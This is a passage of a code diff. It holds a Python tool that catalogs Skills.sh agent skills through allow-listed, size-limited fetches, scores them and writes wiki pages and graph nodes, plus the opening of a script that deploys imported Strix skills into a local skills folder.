+def _is_skills_sh_detail_url(url: str) -> bool:
+    parsed = urllib.parse.urlparse(url)
+    return (
+        parsed.scheme == "https"
+        and parsed.netloc.lower() == "skills.sh"
+        and bool(parsed.path.strip("/"))
+    )
+
+
+def _fetch_detail_html(
+    url: str,
+    timeout: int = 30,
+    max_bytes: int = DEFAULT_DETAIL_MAX_BYTES,
+) -> tuple[str | None, str | None]:
+    if not _is_skills_sh_detail_url(url):
+        return None, "refused non-skills.sh detail URL"
+    req = urllib.request.Request(url, headers={"User-Agent": USER_AGENT})
+    try:
+        with urllib.request.urlopen(req, timeout=timeout) as response:
+            payload = response.read(max_bytes + 1)
+    except Exception as exc:  # noqa: BLE001 - store per-skill failures in catalog metadata.
+        return None, f"{type(exc).__name__}: {exc}"
+    if len(payload) > max_bytes:
+        return None, f"detail response exceeded {max_bytes} bytes"
+    return payload.decode("utf-8", errors="replace"), None
+
+
+def _refresh_body_summary(catalog: dict[str, Any]) -> dict[str, Any]:
+    raw_skills = catalog.get("skills")
+    skills = raw_skills if isinstance(raw_skills, list) else []
+    body_available_count = sum(
+        1 for item in skills
+        if isinstance(item, dict) and (item.get("body_available") or item.get("skill_body"))
+    )
+    summary = {
+        "body_available_count": body_available_count,
+        "body_hydration_attempted_count": catalog.get("body_hydration_attempted_count", 0),
+        "body_hydrated_count": catalog.get("body_hydrated_count", body_available_count),
+        "body_hydration_error_count": catalog.get("body_hydration_error_count", 0),
+        "body_hydration_errors_sample": catalog.get("body_hydration_errors_sample", []),
+    }
+    catalog.update(summary)
+    return summary
+
+
+def hydrate_catalog_bodies(
+    catalog: dict[str, Any],
+    *,
+    workers: int,
+    limit: int | None = None,
+    delay_seconds: float = 0.0,
+    timeout: int = 30,
+    max_response_bytes: int = DEFAULT_DETAIL_MAX_BYTES,
+    max_body_chars: int = DEFAULT_SKILL_BODY_MAX_CHARS,
+) -> dict[str, Any]:
+    raw_skills = catalog.get("skills")
+    skills = raw_skills if isinstance(raw_skills, list) else []
+    candidates = [
+        item for item in skills
+        if isinstance(item, dict)
+        and not item.get("skill_body")
+        and str(item.get("detail_url") or "").strip()
+    ]
+    if limit is not None:
+        candidates = candidates[: max(limit, 0)]
+
+    errors: list[dict[str, str]] = []
+    hydrated = 0
+    hydration_time = _utc_now()
+
+    def hydrate_one(item: dict[str, Any]) -> tuple[dict[str, Any], str | None, str | None]:
+        if delay_seconds > 0:
+            time.sleep(delay_seconds)
+        url = str(item.get("detail_url") or "")
+        if not _is_skills_sh_detail_url(url):
+            return item, None, "refused non-skills.sh detail URL"
+        html_text, error = _fetch_detail_html(
+            url,
+            timeout=timeout,
+            max_bytes=max_response_bytes,
+        )
+        if error:
+            return item, None, error
+        body = _extract_skill_body_from_detail_html(html_text or "")
+        if not body:
+            return item, None, "detail page did not contain a parseable Skills.sh prose body"
+        return item, body, None
+
+    if candidates:
+        with cf.ThreadPoolExecutor(max_workers=max(workers, 1)) as executor:
+            future_map = {executor.submit(hydrate_one, item): item for item in candidates}
+            for future in cf.as_completed(future_map):
+                item, body, error = future.result()
+                if body:
+                    item["body_truncated"] = len(body) > max_body_chars
+                    if item["body_truncated"]:
+                        body = body[:max_body_chars].rstrip()
+                    item["skill_body"] = body
+                    item["body_available"] = True
+                    item["body_source_url"] = str(item.get("detail_url") or "")
+                    item["body_hydrated_at"] = hydration_time
+                    item.pop("body_error", None)
+                    hydrated += 1
+                    continue
+                item["body_available"] = False
+                if error:
+                    item["body_error"] = error
+                    errors.append({
+                        "id": str(item.get("id") or ""),
+                        "detail_url": str(item.get("detail_url") or ""),
+                        "error": error,
+                    })
+
+    summary = {
+        "body_hydration_attempted_count": len(candidates),
+        "body_hydrated_count": hydrated,
+        "body_hydration_error_count": len(errors),
+        "body_hydration_errors_sample": errors[:20],
+    }
+    catalog.update(summary)
+    return _refresh_body_summary(catalog)
+
+
+def fetch_api_union(*, limit: int, workers: int, delay_seconds: float = 0.0) -> dict[str, Any]:
+    chars = string.ascii_lowercase + string.digits
+    queries = [a + b for a in chars for b in chars]
+    queries += [
+        "skill", "skills", "agent", "claude", "code", "ai", "dev", "test",
+        "data", "api", "web", "app", "github", "mcp", "llm", "react",
+        "python", "typescript", "openai", "vercel", "google", "microsoft",
+        "anthropic",
+    ]
+    queries = list(dict.fromkeys(queries))
+
+    by_id: dict[str, dict[str, Any]] = {}
+    errors: list[dict[str, str]] = []
+    query_counts: dict[str, int] = {}
+    started = time.time()
+    with cf.ThreadPoolExecutor(max_workers=workers) as executor:
+        futures = {
+            executor.submit(_fetch_query, q, limit=limit, delay_seconds=delay_seconds): q
+            for q in queries
+        }
+        for i, future in enumerate(cf.as_completed(futures), 1):
+            query, skills, error = future.result()
+            query_counts[query] = len(skills)
+            if error:
+                errors.append({"query": query, "error": error})
+            for item in skills:
+                skill_id = item.get("id")
+                if not isinstance(skill_id, str) or not skill_id:
+                    continue
+                existing = by_id.get(skill_id)
+                if existing is None or int(item.get("installs") or 0) > int(
+                    existing.get("installs") or 0
+                ):
+                    by_id[skill_id] = item
+            if i % 25 == 0 or i == len(queries):
+                print(
+                    f"fetch progress: {i}/{len(queries)} queries, "
+                    f"{len(by_id):,} unique, {len(errors)} errors, "
+                    f"{time.time() - started:.1f}s",
+                    flush=True,
+                )
+
+    return {
+        "fetched_at": _utc_now(),
+        "source": SKILLS_SH_API,
+        "query_count": len(queries),
+        "query_limit": limit,
+        "query_errors": errors,
+        "query_counts_top": sorted(query_counts.items(), key=lambda kv: kv[1], reverse=True)[:100],
+        "skills": sorted(
+            by_id.values(),
+            key=lambda s: (-int(s.get("installs") or 0), str(s.get("id") or "")),
+        ),
+    }
+
+
+def _safe_tar_name(name: str) -> str | None:
+    normalized = name.replace("\\", "/")
+    while normalized.startswith("./"):
+        normalized = normalized[2:]
+    normalized = normalized.rstrip("/")
+    if not normalized:
+        return None
+    parts = normalized.split("/")
+    first = parts[0]
+    if (
+        normalized.startswith("/")
+        or (len(first) == 2 and first[1] == ":")
+        or any(part in {"", ".", ".."} for part in parts)
+    ):
+        return None
+    return normalized
+
+
+def read_existing_wiki_index(tarball: Path) -> ExistingWikiIndex:
+    skill_slugs: set[str] = set()
+    skill_ids: set[str] = set()
+    if not tarball.exists():
+        return ExistingWikiIndex(skill_slugs=skill_slugs, skill_ids=skill_ids)
+    with tarfile.open(tarball, "r:gz") as tf:
+        for member in tf.getmembers():
+            name = _safe_tar_name(member.name)
+            if not name or not member.isfile() or not name.startswith("entities/skills/"):
+                continue
+            if not name.endswith(".md"):
+                continue
+            slug = Path(name).stem
+            skill_slugs.add(slug)
+            skill_ids.add(slug.lower())
+    return ExistingWikiIndex(skill_slugs=skill_slugs, skill_ids=skill_ids)
+
+
+def normalize_catalog(raw: dict[str, Any], existing: ExistingWikiIndex) -> dict[str, Any]:
+    site_total = _read_site_reported_total()
+    skills_in = raw.get("skills") or []
+    if not isinstance(skills_in, list):
+        raise ValueError("input JSON must contain a list at key 'skills'")
+    sitemap_records = _read_sitemap_records()
+    api_ids = {
+        str(item.get("id"))
+        for item in skills_in
+        if isinstance(item, dict) and item.get("id")
+    }
+    sitemap_merged = [item for item in sitemap_records if str(item.get("id")) not in api_ids]
+    skills_in = [*skills_in, *sitemap_merged]
+
+    normalized: list[dict[str, Any]] = []
+    seen: set[str] = set()
+    seen_ctx_slugs: set[str] = set()
+    overlap_skill_id = 0
+    overlap_ctx_slug = 0
+    ctx_slug_collisions = 0
+    for item in skills_in:
+        if not isinstance(item, dict):
+            continue
+        full_id = str(item.get("id") or "").strip()
+        source = str(item.get("source") or "").strip()
+        skill_id = str(item.get("skillId") or item.get("name") or "").strip()
+        name = str(item.get("name") or skill_id).strip()
+        if not full_id or not source or not skill_id or full_id in seen:
+            continue
+        seen.add(full_id)
+        installs = int(item.get("installs") or 0)
+        base_ctx_slug = _ctx_slug(source, skill_id)
+        ctx_slug, ctx_slug_collision = _unique_ctx_slug(base_ctx_slug, full_id, seen_ctx_slugs)
+        ctx_slug_collisions += int(ctx_slug_collision)
+        tags = _infer_tags(full_id, source, skill_id, name)
+        skill_id_overlap = skill_id.lower() in existing.skill_ids
+        ctx_slug_overlap = ctx_slug in existing.skill_slugs
+        overlap_skill_id += int(skill_id_overlap)
+        overlap_ctx_slug += int(ctx_slug_overlap)
+        normalized.append({
+            "id": full_id,
+            "ctx_slug": ctx_slug,
+            "base_ctx_slug": base_ctx_slug,
+            "source": source,
+            "skill_id": skill_id,
+            "name": name,
+            "type": "skill",
+            "status": "remote-cataloged",
+            "source_catalog": "skills.sh",
+            "installs": installs,
+            "tags": tags,
+            "detail_url": _detail_url(source, skill_id),
+            "install_command": _install_command(source, skill_id),
+            "overlap": {
+                "skill_id_in_existing_wiki": skill_id_overlap,
+                "ctx_slug_in_existing_wiki": ctx_slug_overlap,
+                "ctx_slug_collision_resolved": ctx_slug_collision,
+            },
+        })
+
+    normalized.sort(key=lambda s: (-int(s["installs"]), str(s["id"])))
+    observed = len(normalized)
+    query_errors_raw = raw.get("query_errors")
+    if not isinstance(query_errors_raw, list):
+        errors_raw = raw.get("errors")
+        query_errors_raw = errors_raw if isinstance(errors_raw, list) else []
+    query_errors: list[Any] = query_errors_raw
+    return {
+        "schema_version": 1,
+        "source": "skills.sh",
+        "api": SKILLS_SH_API,
+        "fetched_at": raw.get("fetched_at") or _utc_now(),
+        "site_reported_total": site_total,
+        "observed_unique_skills": observed,
+        "coverage_vs_site_reported_total": (
+            round(observed / site_total, 6) if site_total else None
+        ),
+        "query_count": raw.get("query_count"),
+        "query_limit": raw.get("query_limit"),
+        "query_error_count": int(raw.get("error_count") or len(query_errors)),
+        "query_errors_sample": query_errors[:20],
+        "sitemap_records_merged": len(sitemap_merged),
+        "ctx_slug_collisions_resolved": ctx_slug_collisions,
+        "overlap": {
+            "existing_wiki_skill_pages": len(existing.skill_slugs),
+            "skill_id_matches_existing_wiki": overlap_skill_id,
+            "ctx_slug_matches_existing_wiki": overlap_ctx_slug,
+        },
+        "notes": [
+            "Skills.sh exposes search, not a documented full export endpoint.",
+            "Catalog was recovered by unioning high-limit search API responses.",
+            "Entries are remote-cataloged skills until their full SKILL.md bodies are hydrated and reviewed.",
+        ],
+        "skills": normalized,
+    }
+
+
+def write_gzip_json(path: Path, data: dict[str, Any]) -> None:
+    path.parent.mkdir(parents=True, exist_ok=True)
+    with gzip.open(path, "wt", encoding="utf-8") as f:
+        json.dump(data, f, ensure_ascii=False, separators=(",", ":"))
+        f.write("\n")
+
+
+def read_gzip_json(path: Path) -> dict[str, Any]:
+    with gzip.open(path, "rt", encoding="utf-8") as f:
+        data = json.load(f)
+    if not isinstance(data, dict):
+        raise ValueError(f"{path} did not contain a JSON object")
+    return data
+
+
+def _fmt_count(value: Any) -> str:
+    if isinstance(value, int):
+        return f"{value:,}"
+    return "unknown"
+
+
+def render_external_readme(catalog: dict[str, Any]) -> str:
+    return f"""# Skills.sh Catalog
+
+This directory is generated by `src/import_skills_sh_catalog.py`.
+
+- Source: https://skills.sh/
+- API surface used: `{SKILLS_SH_API}`
+- Observed unique skills: {_fmt_count(catalog.get("observed_unique_skills"))}
+- Site-reported total at fetch time: {_fmt_count(catalog.get("site_reported_total"))}
+- Existing wiki skill-id overlaps: {_fmt_count(catalog.get("overlap", {}).get("skill_id_matches_existing_wiki"))}
+- Resolved ctx slug collisions: {_fmt_count(catalog.get("ctx_slug_collisions_resolved"))}
+- Remote-cataloged skill graph nodes: {_fmt_count(catalog.get("graph_skill_nodes"))}
+- Hydrated upstream bodies: {_fmt_count(catalog.get("body_available_count"))}
+
+The catalog is stored as first-class remote-cataloged `skill` entities. These
+records participate in ctx recommendation surfaces as skills while retaining
+Skills.sh provenance, install commands, and metadata-only security status until
+their upstream SKILL.md bodies are hydrated, reviewed, and promoted.
+"""
+
+
+def _node_label(node: dict[str, Any]) -> str:
+    node_id = str(node.get("id") or "")
+    return str(node.get("label") or node_id.split(":", 1)[-1])
+
+
+def _meaningful_tags(raw_tags: Any) -> list[str]:
+    if not isinstance(raw_tags, list):
+        return []
+    tags: list[str] = []
+    seen: set[str] = set()
+    for tag_raw in raw_tags:
+        tag = str(tag_raw).strip().lower()
+        if not tag or tag in _NOISY_EXTERNAL_EDGE_TAGS or tag in seen:
+            continue
+        seen.add(tag)
+        tags.append(tag)
+    return tags
+
+
+def _source_reputation(source: str) -> int:
+    trusted_prefixes = (
+        "anthropics/", "vercel-labs/", "vercel/", "microsoft/", "google/",
+        "aws-samples/", "openai/", "github/",
+    )
+    if source.startswith(trusted_prefixes):
+        return 25
+    if _is_site_source(source):
+        return 10
+    return 0
+
+
+def _quality_signals(item: dict[str, Any], duplicate_targets: list[str]) -> dict[str, Any]:
+    installs = int(item.get("installs") or 0)
+    source = str(item.get("source") or "")
+    install_score = min(40, int(math.log10(installs + 1) * 10)) if installs > 0 else 0
+    reputation_score = _source_reputation(source)
+    duplicate_score = 20 if duplicate_targets else 0
+    tag_score = min(15, len(_meaningful_tags(item.get("tags"))) * 5)
+    score = install_score + reputation_score + duplicate_score + tag_score
+    return {
+        "score": score,
+        "install_score": install_score,
+        "source_reputation_score": reputation_score,
+        "duplicate_score": duplicate_score,
+        "tag_score": tag_score,
+        "body_available": bool(item.get("body_available") or item.get("skill_body")),
+        "security_review": "metadata-only",
+        "promotion_state": "alias" if duplicate_targets else "remote-cataloged",
+    }
+
+
+def _skills_sh_entity_path(ctx_slug: str) -> str:
+    return f"{SKILLS_SH_ENTITY_ROOT}/{ctx_slug}.md"
+
+
+def _md_list(values: list[str]) -> str:
+    if not values:
+        return "[]"
+    return "[" + ", ".join(json.dumps(v, ensure_ascii=False) for v in values) + "]"
+
+
+def _render_external_entity_page(
+    item: dict[str, Any],
+    *,
+    external_id: str,
+    duplicate_targets: list[str],
+    quality: dict[str, Any],
+) -> str:
+    ctx_slug = str(item.get("ctx_slug") or "")
+    label = str(item.get("id") or item.get("name") or ctx_slug)
+    merge_state = "alias-of-curated" if duplicate_targets else "remote-cataloged"
+    duplicate_target = duplicate_targets[0] if duplicate_targets else "null"
+    tags = [str(tag) for tag in item.get("tags", []) if tag]
+    skill_body = str(item.get("skill_body") or "").strip()
+    body_available = bool(quality.get("body_available") or skill_body)
+    body_source_url = str(item.get("body_source_url") or "")
+    body_status = (
+        "hydrated from Skills.sh detail page."
+        if body_available else
+        "metadata-only; canonical body remains upstream."
+    )
+    body = f"""---
+title: {json.dumps(label, ensure_ascii=False)}
+type: skill
+status: remote-cataloged
+source_catalog: skills.sh
+ctx_slug: {ctx_slug}
+node_id: {external_id}
+source: {json.dumps(str(item.get("source") or ""), ensure_ascii=False)}
+skill_id: {json.dumps(str(item.get("skill_id") or ""), ensure_ascii=False)}
+installs: {int(item.get("installs") or 0)}
+tags: {_md_list(tags)}
+detail_url: {json.dumps(str(item.get("detail_url") or ""), ensure_ascii=False)}
+install_command: {json.dumps(str(item.get("install_command") or ""), ensure_ascii=False)}
+merge_state: {merge_state}
+duplicate_of: {duplicate_target}
+quality_score: {int(quality.get("score") or 0)}
+body_available: {str(body_available).lower()}
+body_source_url: {json.dumps(body_source_url, ensure_ascii=False)}
+security_review: metadata-only
+---
+
+# {label}
+
+Remote-cataloged Skills.sh skill.
+
+## Install
+
+```bash
+{item.get("install_command") or ""}
+```
+
+## Provenance
+
+- Source: `{item.get("source") or ""}`
+- Skill ID: `{item.get("skill_id") or ""}`
+- Detail URL: {item.get("detail_url") or ""}
+- Installs: {int(item.get("installs") or 0):,}
+- Merge state: `{merge_state}`
+"""
+    if duplicate_targets:
+        body += "\n## Duplicate / Merge\n\n"
+        body += "This upstream record appears to overlap an existing curated ctx entity:\n"
+        body += "".join(f"- `{target}`\n" for target in duplicate_targets)
+    else:
+        body += "\n## Duplicate / Merge\n\nNo exact curated duplicate was detected from available Skills.sh metadata.\n"
+    body += f"""
+
+## Quality Signals
+
+- Quality score: {int(quality.get("score") or 0)}
+- Install score: {quality.get("install_score")}
+- Source reputation score: {quality.get("source_reputation_score")}
+- Duplicate score: {quality.get("duplicate_score")}
+- Tag score: {quality.get("tag_score")}
+- Body availability: {body_status}
+- Security review: metadata-only. Fetch and inspect the body before promotion to curated `skill`.
+"""
+    if skill_body:
+        body += f"\n## Upstream SKILL.md\n\n{skill_body}\n"
+    return body
+
+
+def _augment_graph_with_external_nodes(graph: dict[str, Any], catalog: dict[str, Any]) -> dict[str, Any]:
+    nodes = graph.get("nodes")
+    edges = graph.get("edges") if "edges" in graph else graph.get("links")
+    if not isinstance(nodes, list) or not isinstance(edges, list):
+        return graph
+
+    skills = catalog.get("skills")
+    if not isinstance(skills, list):
+        return graph
+
+    skills_sh_ids = {
+        str(node.get("id"))
+        for node in nodes
+        if str(node.get("id") or "").startswith(LEGACY_EXTERNAL_NODE_PREFIX)
+        or str(node.get("id") or "").startswith(SKILLS_SH_NODE_PREFIX + "skills-sh-")
+        or (
+            node.get("external_catalog") == "skills.sh"
+            and node.get("type") == "external-skill"
+        )
+        or (
+            node.get("source_catalog") == "skills.sh"
+            and node.get("type") == "skill"
+        )
+    }
+    if skills_sh_ids:
+        nodes = [node for node in nodes if str(node.get("id")) not in skills_sh_ids]
+        edges = [
+            edge for edge in edges
+            if str(edge.get("source")) not in skills_sh_ids
+            and str(edge.get("target")) not in skills_sh_ids
+        ]
+
+    degree: dict[str, int] = {}
+    for edge in edges:
+        source = str(edge.get("source") or "")
+        target = str(edge.get("target") or "")
+        if source:
+            degree[source] = degree.get(source, 0) + 1
+        if target:
+            degree[target] = degree.get(target, 0) + 1
+
+    label_index: dict[str, list[str]] = {}
+    tag_index: dict[str, list[str]] = {}
+    for node in nodes:
+        node_id = str(node.get("id") or "")
+        if not node_id:
+            continue
+        if node.get("source_catalog") == "skills.sh":
+            continue
+        label_index.setdefault(_node_label(node).lower(), []).append(node_id)
+        for tag in _meaningful_tags(node.get("tags")):
+            tag_index.setdefault(tag, []).append(node_id)
+
+    for bucket in label_index.values():
+        bucket.sort(key=lambda node_id: degree.get(node_id, 0), reverse=True)
+    for bucket in tag_index.values():
+        bucket.sort(key=lambda node_id: degree.get(node_id, 0), reverse=True)
+
+    added_edges = 0
+    for item in skills:
+        if not isinstance(item, dict):
+            continue
+        ctx_slug = str(item.get("ctx_slug") or "").strip()
+        if not ctx_slug:
+            continue
+        external_id = SKILLS_SH_NODE_PREFIX + ctx_slug
+        tags = [str(tag) for tag in item.get("tags", []) if tag]
+        skill_id = str(item.get("skill_id") or "").lower()
+        duplicate_targets = label_index.get(skill_id, [])[:MAX_EXTERNAL_EDGES_PER_NODE]
+        quality = _quality_signals(item, duplicate_targets)
+        item["type"] = "skill"
+        item["status"] = "remote-cataloged"
+        item["source_catalog"] = "skills.sh"
+        item.pop("external_catalog", None)
+        item["graph_node_id"] = external_id
+        item["entity_path"] = _skills_sh_entity_path(ctx_slug)
+        item["merge_state"] = "alias-of-curated" if duplicate_targets else "remote-cataloged"
+        item["duplicate_of"] = duplicate_targets[0] if duplicate_targets else None
+        item["duplicate_targets"] = duplicate_targets
+        item["quality_score"] = quality["score"]
+        item["quality_signals"] = quality
+        nodes.append({
+            "id": external_id,
+            "label": ctx_slug,
+            "type": "skill",
+            "status": "remote-cataloged",
+            "source_catalog": "skills.sh",
+            "ctx_slug": ctx_slug,
+            "source": item.get("source"),
+            "skill_id": item.get("skill_id"),
+            "installs": item.get("installs"),
+            "tags": tags,
+            "detail_url": item.get("detail_url"),
+            "install_command": item.get("install_command"),
+            "merge_state": item["merge_state"],
+            "duplicate_of": item["duplicate_of"],
+            "quality_score": item["quality_score"],
+            "quality_signals": item["quality_signals"],
+            "entity_path": item["entity_path"],
+        })
+
+        targets: list[tuple[str, list[str], list[str]]] = []
+        for target in duplicate_targets:
+            targets.append((target, [], [skill_id]))
+        for tag in _meaningful_tags(item.get("tags")):
+            for target in tag_index.get(tag, [])[:MAX_EXTERNAL_EDGES_PER_NODE]:
+                targets.append((target, [tag], []))
+
+        seen_targets: set[str] = set()
+        for target, shared_tags, shared_tokens in targets:
+            if target in seen_targets:
+                continue
+            seen_targets.add(target)
+            edges.append({
+                "source": target,
+                "target": external_id,
+                "semantic_sim": 0.0,
+                "tag_sim": 0.2 if shared_tags else 0.0,
+                "token_sim": 0.2 if shared_tokens else 0.0,
+                "final_weight": 0.03,
+                "weight": 0.03,
+                "shared_tags": shared_tags,
+                "shared_tokens": shared_tokens,
+                "source_catalog": "skills.sh",
+            })
+            added_edges += 1
+            if len(seen_targets) >= MAX_EXTERNAL_EDGES_PER_NODE:
+                break
+
+    graph["nodes"] = nodes
+    edge_key = "edges" if "edges" in graph else "links"
+    graph[edge_key] = edges
+    metadata = graph.setdefault("graph", {})
+    if isinstance(metadata, dict):
+        external_nodes_meta = metadata.get("external_catalog_nodes")
+        if isinstance(external_nodes_meta, dict):
+            external_nodes_meta.pop("skills.sh", None)
+            if not external_nodes_meta:
+                metadata.pop("external_catalog_nodes", None)
+        external_edges_meta = metadata.get("external_catalog_edges")
+        if isinstance(external_edges_meta, dict):
+            external_edges_meta.pop("skills.sh", None)
+            if not external_edges_meta:
+                metadata.pop("external_catalog_edges", None)
+        metadata.setdefault("source_catalog_nodes", {})
+        metadata["source_catalog_nodes"]["skills.sh"] = len(skills)
+        metadata.setdefault("source_catalog_edges", {})
+        metadata["source_catalog_edges"]["skills.sh"] = added_edges
+    catalog["graph_skill_nodes"] = len(skills)
+    catalog["graph_skill_edges"] = added_edges
+    return graph
+
+
+def _add_bytes(
+    dst: tarfile.TarFile,
+    *,
+    name: str,
+    payload: bytes,
+    mode: int = 0o644,
+    mtime: int | None = None,
+) -> None:
+    info = tarfile.TarInfo(name)
+    info.size = len(payload)
+    info.mtime = int(time.time()) if mtime is None else mtime
+    info.mode = mode
+    dst.addfile(info, BytesIO(payload))
+
+
+def update_wiki_tarball(tarball: Path, catalog: dict[str, Any]) -> None:
+    _refresh_body_summary(catalog)
+    with tempfile.NamedTemporaryFile(delete=False, suffix=".tar.gz") as tmp_file:
+        tmp_path = Path(tmp_file.name)
+    try:
+        with tarfile.open(tarball, "r:gz") as src, tarfile.open(tmp_path, "w:gz") as dst:
+            for member in src.getmembers():
+                safe_name = _safe_tar_name(member.name)
+                if safe_name is None:
+                    continue
+                if (
+                    safe_name.startswith("external-catalogs/skills-sh/")
+                    or safe_name.startswith(f"{EXTERNAL_ENTITY_ROOT}/")
+                    or (
+                        safe_name.startswith(f"{SKILLS_SH_ENTITY_ROOT}/skills-sh-")
+                        and safe_name.endswith(".md")
+                    )
+                ):
+                    continue
+                if member.isfile():
+                    f = src.extractfile(member)
+                    if f is None:
+                        continue
+                    if safe_name == "graphify-out/graph.json":
+                        graph = json.loads(f.read().decode("utf-8"))
+                        graph = _augment_graph_with_external_nodes(graph, catalog)
+                        payload = json.dumps(
+                            graph,
+                            ensure_ascii=False,
+                            separators=(",", ":"),
+                        ).encode("utf-8")
+                        _add_bytes(
+                            dst,
+                            name=member.name,
+                            payload=payload,
+                            mode=member.mode,
+                            mtime=int(member.mtime),
+                        )
+                        continue
+                    dst.addfile(member, f)
+                else:
+                    dst.addfile(member)
+
+            catalog_bytes = json.dumps(catalog, ensure_ascii=False, separators=(",", ":")).encode("utf-8")
+            readme_bytes = render_external_readme(catalog).encode("utf-8")
+            summary = {
+                k: catalog.get(k)
+                for k in (
+                    "schema_version", "source", "api", "fetched_at", "site_reported_total",
+                    "observed_unique_skills", "coverage_vs_site_reported_total",
+                    "query_count", "query_error_count", "ctx_slug_collisions_resolved", "overlap",
+                    "graph_skill_nodes", "graph_skill_edges", "body_available_count",
+                    "body_hydration_attempted_count", "body_hydrated_count",
+                    "body_hydration_error_count",
+                )
+            }
+            summary_bytes = json.dumps(summary, ensure_ascii=False, indent=2).encode("utf-8")
+            raw_skills = catalog.get("skills")
+            skills = raw_skills if isinstance(raw_skills, list) else []
+            for item in skills:
+                if not isinstance(item, dict):
+                    continue
+                external_id = str(item.get("graph_node_id") or "")
+                entity_path = str(item.get("entity_path") or "")
+                quality = item.get("quality_signals")
+                if not external_id or not entity_path or not isinstance(quality, dict):
+                    continue
+                duplicate_raw = item.get("duplicate_targets")
+                duplicate_targets = [
+                    str(target) for target in duplicate_raw
+                    if target
+                ] if isinstance(duplicate_raw, list) else []
+                page = _render_external_entity_page(
+                    item,
+                    external_id=external_id,
+                    duplicate_targets=duplicate_targets,
+                    quality=quality,
+                )
+                _add_bytes(
+                    dst,
+                    name=f"./{entity_path}",
+                    payload=page.encode("utf-8"),
+                )
+            for name, payload in (
+                ("external-catalogs/skills-sh/catalog.json", catalog_bytes),
+                ("external-catalogs/skills-sh/summary.json", summary_bytes),
+                ("external-catalogs/skills-sh/README.md", readme_bytes),
+            ):
+                _add_bytes(dst, name=f"./{name}", payload=payload)
+        tmp_path.replace(tarball)
+    finally:
+        if tmp_path.exists():
+            tmp_path.unlink(missing_ok=True)
+
+
+def _load_raw_input(path: Path) -> dict[str, Any]:
+    text = path.read_text(encoding="utf-8")
+    data = json.loads(text)
+    if not isinstance(data, dict):
+        raise ValueError(f"{path} did not contain a JSON object")
+    return data
+
+
+def _load_catalog_input(path: Path) -> dict[str, Any]:
+    if path.suffix == ".gz":
+        return read_gzip_json(path)
+    return _load_raw_input(path)
+
+
+def main() -> None:
+    parser = argparse.ArgumentParser(description=__doc__)
+    source = parser.add_mutually_exclusive_group(required=True)
+    source.add_argument("--fetch", action="store_true", help="Fetch a Skills.sh API union")
+    source.add_argument("--from-api-union", type=Path, help="Use a previously fetched API union JSON")
+    source.add_argument("--from-catalog", type=Path, help="Use a normalized Skills.sh catalog JSON or JSON.gz")
+    parser.add_argument("--query-limit", type=int, default=100_000)
+    parser.add_argument("--workers", type=int, default=4)
+    parser.add_argument("--delay-ms", type=int, default=0)
+    parser.add_argument("--catalog-out", type=Path, default=DEFAULT_CATALOG_OUT)
+    parser.add_argument("--wiki-tar", type=Path, default=DEFAULT_WIKI_TAR)
+    parser.add_argument("--update-wiki-tar", action="store_true")
+    parser.add_argument("--hydrate-bodies", action="store_true")
+    parser.add_argument("--hydrate-limit", type=int, default=None)
+    parser.add_argument("--hydrate-workers", type=int, default=4)
+    parser.add_argument("--hydrate-delay-ms", type=int, default=0)
+    parser.add_argument("--hydrate-timeout", type=int, default=30)
+    parser.add_argument("--hydrate-max-response-bytes", type=int, default=DEFAULT_DETAIL_MAX_BYTES)
+    parser.add_argument("--hydrate-max-body-chars", type=int, default=DEFAULT_SKILL_BODY_MAX_CHARS)
+    args = parser.parse_args()
+
+    if args.fetch:
+        raw = fetch_api_union(
+            limit=args.query_limit,
+            workers=args.workers,
+            delay_seconds=max(args.delay_ms, 0) / 1000.0,
+        )
+        existing = read_existing_wiki_index(args.wiki_tar)
+        catalog = normalize_catalog(raw, existing)
+    elif args.from_api_union is not None:
+        raw = _load_raw_input(args.from_api_union)
+        existing = read_existing_wiki_index(args.wiki_tar)
+        catalog = normalize_catalog(raw, existing)
+    else:
+        catalog = _load_catalog_input(args.from_catalog)
+    if args.hydrate_bodies:
+        summary = hydrate_catalog_bodies(
+            catalog,
+            workers=args.hydrate_workers,
+            limit=args.hydrate_limit,
+            delay_seconds=max(args.hydrate_delay_ms, 0) / 1000.0,
+            timeout=args.hydrate_timeout,
+            max_response_bytes=args.hydrate_max_response_bytes,
+            max_body_chars=args.hydrate_max_body_chars,
+        )
+        print(
+            "hydrated Skills.sh bodies: "
+            f"{summary['body_hydrated_count']:,}/"
+            f"{summary['body_hydration_attempted_count']:,} attempted "
+            f"({summary['body_hydration_error_count']:,} errors)"
+        )
+    if args.update_wiki_tar:
+        update_wiki_tarball(args.wiki_tar, catalog)
+    write_gzip_json(args.catalog_out, catalog)
+    print(
+        f"skills.sh catalog: {catalog['observed_unique_skills']:,} observed "
+        f"(site total={catalog.get('site_reported_total')}); "
+        f"wrote {args.catalog_out}"
+    )
+    if args.update_wiki_tar:
+        print(f"updated {args.wiki_tar}")
+
+
+if __name__ == "__main__":
+    main()
diff --git a/src/import_strix_skills.py b/src/import_strix_skills.py
new file mode 100644
index 0000000000000000000000000000000000000000..4ef23c7d0c5e40f85ba1caea1d130264fd4bff6c
--- /dev/null
+++ b/src/import_strix_skills.py
@@ -0,0 +1,187 @@
+#!/usr/bin/env python3
+"""import_strix_skills.py -- Deploy imported Strix skills into ~/.claude/skills.
+
+Reads imported-skills/strix/MANIFEST.json and creates one skill directory per
+entry in `cfg.skills_dir`, following the naming convention:
+
+    /strix--/SKILL.md
+
+Each deployed SKILL.md prepends an attribution header so provenance remains
+visible inline when the skill is loaded.
+
+This script is idempotent. Re-running updates existing deployments in place.
+
+Usage:
+    python src/import_strix_skills.py --dry-run        # preview
+    python src/import_strix_skills.py --install        # deploy to ~/.claude/skills
+    python src/import_strix_skills.py --install \\
+        --target ./custom-skills-dir                   # deploy elsewhere
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import re
+import sys
+from pathlib import Path
+
+from ctx_config import cfg
+
+REPO_ROOT = Path(__file__).resolve().parent.parent
+IMPORT_ROOT = REPO_ROOT / "imported-skills" / "strix"
+MANIFEST_PATH = IMPORT_ROOT / "MANIFEST.json"
+
+SLUG_RE = re.compile(r"[^a-z0-9]+")
+
+
+def slugify(name: str) -> str:
+    return SLUG_RE.sub("-", name.lower()).strip("-")
+
+
+def load_manifest() -> dict:
+    if not MANIFEST_PATH.exists():
+        print(f"Manifest not found: {MANIFEST_PATH}", file=sys.stderr)
+        print("Run: python imported-skills/strix/build_manifest.py", file=sys.stderr)
+        sys.exit(1)
+    return json.loads(MANIFEST_PATH.read_text(encoding="utf-8"))
+
+
+def render_attribution_header(entry: dict, manifest: dict) -> str:
+    return (
+        f"\n"
+    )
+
+
